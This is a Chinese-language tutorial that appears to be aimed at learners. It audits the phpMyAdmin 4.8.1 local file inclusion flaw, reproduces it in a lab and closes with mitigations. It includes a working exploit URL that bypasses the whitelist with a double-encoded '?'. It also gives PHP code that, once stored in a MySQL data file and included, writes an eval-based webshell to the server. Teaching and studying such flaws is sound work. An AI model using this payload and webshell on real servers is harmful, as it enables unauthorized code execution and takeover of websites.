0x00 文件包含

文件包含,被包含的文件都会当做PHP执行

本身并不是一个漏洞,当被包含的文件可控时,才是任意文件包含漏洞

本地文件包含 LFI:

包含自己服务器上的资源

远程文件包含 RFI (php默认不开启):

需要设置allow_url_include = On
通过HTTP协议包含其他地方的资源

影响函数:

include("check.php"); 出错不会影响后面代码

require("check.php"); 出错不会往下执行

include_once("check.php")、require_once("check.php"):
检测文件是否被包含过,包含过则不再包含

0x01 代码审计

以phpMyAdmin 4.8.* 任意文件包含漏洞(LFI)为例

下载phpmyadmin 4.8.1的源码进行审计,查找任意文件包含漏洞

直接全局搜索 include

lfi1.png

看到前面出现include()函数的地方都已经具体写了被包含的文件,没有可以控制的地方

include $_REQUEST['target']

处则用REQUEST形式获取了传参target,此处可以控制,跟进

lfi2.png

可以看到include出现在第14行,在一个if语句中

所以必须进入这个if语句,需要同时满足8-12行的四个条件

第8行 用empty()函数判断传参target变量的值是否为空。所以只需要传参target,并且值不为空就可以。

第9行 用is_string()函数判断变量target是否是字符串。只需要target的值类型是字符串就可以。

第10行 用preg_match()函数进行字符串匹配。其中正则表达式/^index/表示以index开头的字符串。而前面有!表示非,所以只需要传参target的值以index开头就可以。

第11行 用in_array()函数进行内容比对。比对传参target的值是否在$target_blacklist中。而在3、4行定义了$target_blacklist的内容。所以只需要传参target的值不包含import.php和export.php就可以

第12行 这里调用了checkPageValidity(),在Core.php中发现了checkPageValidity()的定义

lfi3.png

根据if语句的条件,我们只需要满足checkPageValidity()的返回值为True就可以

在定义checkPageValidity()时,定义了参数&$page、而参数&$page就是第12行中checkPageValidity($_REQUEST[‘target’])传递进去的变量target,定义了数组$whitelist为空。

接下来看checkPageValidity()中的语句

第21行判断$whitelist是否为空,为空就将$goto_whitelist的值赋值给它,跟进$goto_whitelist

lfi4.png

可以看到$goto_whitelist定义了一些文件作为白名单,而此时将这些内容赋值给了$whitelist

第21行,判断传进来的参数是否不为空且是字符串类型,如果不满足返回False,这里已经满足

第28行检测传参是否在白名单whitelist中,如果在返回True。如果需要满足这一条,传参target就只能为白名单中的内容,此处传参不可控,无法利用。所以继续向下看

第32行截取了传参的值中?以前的内容并且赋值给$_page。
第37行,再将$_page的值与白名单进行对比,如果满足返回True。

此处传参可控,但是在include()函数中,被包含文件不能出现?,所以此处无法利用。

第41行定义了变量$_page用来对传递进来的参数进行url解码,而GET传参本身会自动url解码一次,所以这里可以对参数进行url二次编码。
第42、47行代码同第32、37行

这里可以利用。如果传参的值前面在白名单中,后面加上?的url二次编码,就可以实现本地任意文件包含

最终payload:

index.php?target=db_import.php%253f/../../包含的文件

0x02 靶场复现

进入phpMyAdmin后台

在 变量 中可以获取绝对路径,以便于接下来生成一句话

lfi5.png

此时可以结合上传的图片马,生成一个一句话木马文件进行连接。

若没有上传点,可以在数据库中插入一句话木马,而数据库的内容都是存在指定文件中的,具体文件为

phpStudyMySQLdata库名表名.frm 存储了字段名

lfi6.png

phpStudyMySQLdata库名表名.MYD 存储了字段内容

lfi7.png

以上两个文件任意选择一个利用

由于phpmyadmin中index.php文件需要登录才能访问,可以生成一个新的一句话文件,便于直接连接

新建一个数据库 库名为sr

lfi8.png

新建一个表 表名为s

lfi9.png

新建一个字段 字段名为1 类型为varchar

lfi10.png

在字段1中插入语句

<?php $txt = '<?php @eval($_REQUEST[\'1234\'])?>';file_put_contents('1.php',$txt)?>

生成新的一句话文件1.php 内容为<?php @eval($_REQUEST['1234'])?>

lfi11.png

lfi12.png

此时插入的语句就在phpStudyMySQLdatasrs.MYD文件中了

直接在payload后面添加这个文件的路径

lfi13.png

文件被包含后会当做php执行,生成一个1.php一句话

验证

lfi14.png

0x03 危害

任何被包含的文件都会当做php执行,如果网站存在上传点,上传图片马结合任意文件包含漏洞可以getshell

0x04 防御措施

1、关闭allow_rul_include和allow_url_fopen

2、对包含的文件采取白名单限制,指定可以被包含的目录

3、对所有文件包含的传参进行检测,对 ../ 等路径跳转关键词进行过滤

4、检查include()包含的文件是否可控